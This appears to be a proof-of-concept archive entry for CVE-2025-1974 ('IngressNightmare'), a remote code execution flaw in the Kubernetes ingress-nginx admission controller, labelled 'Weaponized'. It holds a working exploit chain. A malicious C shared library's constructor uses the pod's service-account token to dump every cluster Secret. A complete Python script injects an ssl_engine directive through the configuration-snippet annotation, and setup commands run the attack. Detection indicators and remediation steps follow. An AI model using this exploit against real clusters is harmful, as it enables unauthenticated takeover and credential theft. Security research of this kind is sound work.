PoC Archive PoC Archive
Critical CVE-2025-1974 unpatched

IngressNightmare: Kubernetes ingress-nginx Admission Controller Shared-Library Injection RCE (CVE-2025-1974)

by BoianEduard · 2026-07-06

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherBoianEduard
CVE / AdvisoryCVE-2025-1974
Categorycloud
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagskubernetes, ingress-nginx, ingressnightmare, admission-controller, nginx, ssl-engine, shared-library-injection, cluster-secrets, docker, python, c, cwe-94
RelatedN/A

Affected Target

FieldValue
Software / SystemKubernetes ingress-nginx admission controller
Versions AffectedAll versions < 1.11.5, 1.11.0-1.11.4, and 1.12.0
Language / PlatformKubernetes cluster (any provider), C (malicious .so payload), Python 3 (trigger script)
Authentication RequiredNo (unauthenticated access to the in-cluster admission webhook is sufficient — “IngressNightmare”)
Network Access RequiredYes (network access to the ingress-nginx controller pod’s admission webhook port, typically reachable from within the cluster or via a misconfigured exposure)

Summary

The ingress-nginx admission controller validates incoming Ingress objects by rendering a temporary NGINX configuration and running nginx -t against it — but the validation webhook itself has no authentication and accepts attacker-controlled configuration snippet annotations. By injecting the annotation nginx.ingress.kubernetes.io/configuration-snippet with content that breaks out of its intended NGINX config context and adds an ssl_engine /path/to/payload.so; directive, an attacker can make nginx -t load an arbitrary shared library from a path they control (uploaded beforehand via a separate write primitive to the controller pod, e.g. /tmp/exploit.so). Because shared libraries execute constructor code as soon as they are mapped into memory, this achieves arbitrary code execution inside the ingress-nginx controller pod — which, under default RBAC, has read access to all Secrets in the cluster, making this a path to full cluster compromise. Publicly disclosed by Wiz Research as “IngressNightmare.”


Vulnerability Details

Root Cause

The admission webhook accepts and templates attacker-supplied annotation content into the NGINX configuration used for nginx -t validation without adequate sanitization, letting an attacker close the intended context and inject a raw ssl_engine directive:

1
2
3
4
"annotations": {
  "nginx.ingress.kubernetes.io/configuration-snippet":
    "}}} ssl_engine /tmp/exploit.so; http { server { location / {"
}

The malicious shared library uses a GCC constructor attribute so its payload runs the instant NGINX’s OpenSSL engine loader maps it into memory — no further trigger is needed:

1
2
3
4
5
6
7
8
9
void bind_engine() {}  // required symbol for the OpenSSL engine loader

__attribute__((constructor))
void exploit() {
    write(2, "\n\n[!!!] CVE-2025-1974 RCE TRIGGERED [!!!]\n\n", 43);
    system("echo 'Pwned by CVE-2025-1974' > /tmp/pwned");
    system("curl -s -k -H \"Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\" "
           "https://kubernetes.default.svc/api/v1/secrets >&2");
}

Attack Vector

  1. Attacker gets a malicious .so payload onto a path reachable by the ingress-nginx controller pod’s filesystem (e.g. /tmp/exploit.so — in this lab, delivered by a companion “attacker” pod with access to the webhook).
  2. Attacker sends a crafted AdmissionReview request directly to the admission controller’s validating webhook endpoint (e.g. https://<controller-pod-ip>:8443/networking/v1/ingresses), containing an Ingress object whose configuration-snippet annotation breaks out of its NGINX config context and injects ssl_engine /tmp/exploit.so;.
  3. The admission controller renders this into a temporary NGINX config and runs nginx -t to validate it, which loads the OpenSSL engine at the injected path.
  4. The shared library’s constructor function executes immediately upon load, inside the ingress-nginx controller pod.
  5. The payload uses the pod’s own Kubernetes service-account token (mounted by default) to call the Kubernetes API and dump all cluster Secrets, and/or drops a witness file (/tmp/pwned).

Impact

Unauthenticated arbitrary code execution inside the ingress-nginx controller pod, with default RBAC granting that pod read access to all Secrets across the cluster — enabling full cluster compromise (credential theft, further lateral movement, persistence).


Environment / Lab Setup

Tools required: minikube, kubectl, helm (installed automatically by setup_cve_env.sh)
Lab: one-node minikube cluster with a vulnerable ingress-nginx controller
     (v1.11.0-1.11.4 or v1.12.0) deployed via Helm, plus a companion "attacker"
     pod (Dockerfile.attacker / attacker-pod.yaml) that delivers exploit.so and
     runs exploit.py against the controller's admission webhook

Proof of Concept

PoC Script

See exploit.py, exploit.c / exploit.so, setup_cve_env.sh, Dockerfile.attacker, and attacker-pod.yaml in this folder.

1
2
3
4
5
6
7
8
9
./setup_cve_env.sh

WEBHOOK_IP=$(kubectl get pod -n ingress-nginx \
  -l app.kubernetes.io/component=controller -o jsonpath='{.items[0].status.podIP}')

kubectl exec attacker -- python3 /tmp/exploit.py $WEBHOOK_IP

CPOD=$(kubectl get pod -n ingress-nginx -l app.kubernetes.io/component=controller -o jsonpath='{.items[0].metadata.name}')
kubectl exec -n ingress-nginx $CPOD -- ls -l /tmp/pwned

Detection & Indicators of Compromise

POST https://<controller-ip>:8443/networking/v1/ingresses HTTP/1.1
Content-Type: application/json
{"kind":"AdmissionReview", ... "configuration-snippet": "}}} ssl_engine ..."}

Signs of compromise:

  • ingress-nginx controller pod logs containing RCE TRIGGERED or unexplained stderr output around nginx -t validation
  • Ingress resources (even ones that failed to apply) with configuration-snippet annotations containing } characters or ssl_engine/other raw NGINX directives outside expected context
  • Unexpected outbound calls from the controller pod to https://kubernetes.default.svc/api/v1/secrets using the pod’s own service-account token
  • Presence of unexpected .so files or witness files (e.g. /tmp/pwned) inside the controller pod’s filesystem
  • Direct network connections to the admission webhook port (8443 by default) from outside expected API-server traffic

Remediation

ActionDetail
Primary fixUpgrade ingress-nginx to >= 1.11.5 or >= 1.12.1, which removes/restricts the ability for validating-webhook-rendered configuration to inject arbitrary NGINX directives via annotations
Interim mitigationRestrict network access to the admission webhook port to only the Kubernetes API server (NetworkPolicy); disable/avoid the validationWebhook if not required; drop or tightly scope the ingress-nginx controller’s ServiceAccount RBAC so it cannot read all cluster Secrets; disable configuration-snippet support (allow-snippet-annotations: false)

References


Notes

Mirrored from https://github.com/BoianEduard/CVE-2025-1974 on 2026-07-06. Full working chain (exploit.c/.so, exploit.py, Dockerfile, k8s pod manifest, and an automated setup script) reproducing the publicly disclosed “IngressNightmare” RCE end-to-end in a disposable minikube lab.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import uuid
import urllib3
import sys

# Suppress insecure request warnings for the PoC
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Check if IP was provided
if len(sys.argv) < 2:
    print("Usage: python3 exploit.py <POD_IP>")
    sys.exit(1)

TARGET_IP = sys.argv[1]
PORT = 8443 

def trigger_exploit():
    admission_review = {
        "apiVersion": "admission.k8s.io/v1",
        "kind": "AdmissionReview",
        "request": {
            "uid": str(uuid.uuid4()),
            "kind": {"group": "networking.k8s.io", "version": "v1", "kind": "Ingress"},
            "resource": {"group": "networking.k8s.io", "version": "v1", "resource": "ingresses"},
            "requestKind": {"group": "networking.k8s.io", "version": "v1", "kind": "Ingress"},
            "requestResource": {"group": "networking.k8s.io", "version": "v1", "resource": "ingresses"},
            "name": "exploit-ingress",
            "namespace": "default",
            "operation": "CREATE",
            "userInfo": {"username": "admin", "uid": "1"},
            "object": {
                "apiVersion": "networking.k8s.io/v1",
                "kind": "Ingress",
                "metadata": {
                    "name": "exploit-ingress",
                    "annotations": {
                        # The core vulnerability: injecting a directive that loads a library
                        "nginx.ingress.kubernetes.io/configuration-snippet": "}}} ssl_engine /tmp/exploit.so; http { server { location / {"
                    }
                },
                "spec": {
                    "ingressClassName": "nginx",
                    "rules": [{"host": "evildomain.com", "http": {"paths": [{"path": "/", "pathType": "Prefix", "backend": {"service": {"name": "none", "port": {"number": 80}}}}]}}]
                }
            }
        }
    }

    # The ingress-nginx admission controller usually listens on /networking/v1/ingresses 
    # or /admissions. Let's try the standard path:
    url = f"https://{TARGET_IP}:{PORT}/networking/v1/ingresses"
    
    print(f"[*] Attempting exploit against {url}...")
    try:
        r = requests.post(url, json=admission_review, verify=False, timeout=5)
        print(f"[+] Status Code: {r.status_code}")
        print(f"[+] Response Body: {r.text}")
    except Exception as e:
        print(f"[-] Connection failed: {e}")

if __name__ == "__main__":
    trigger_exploit()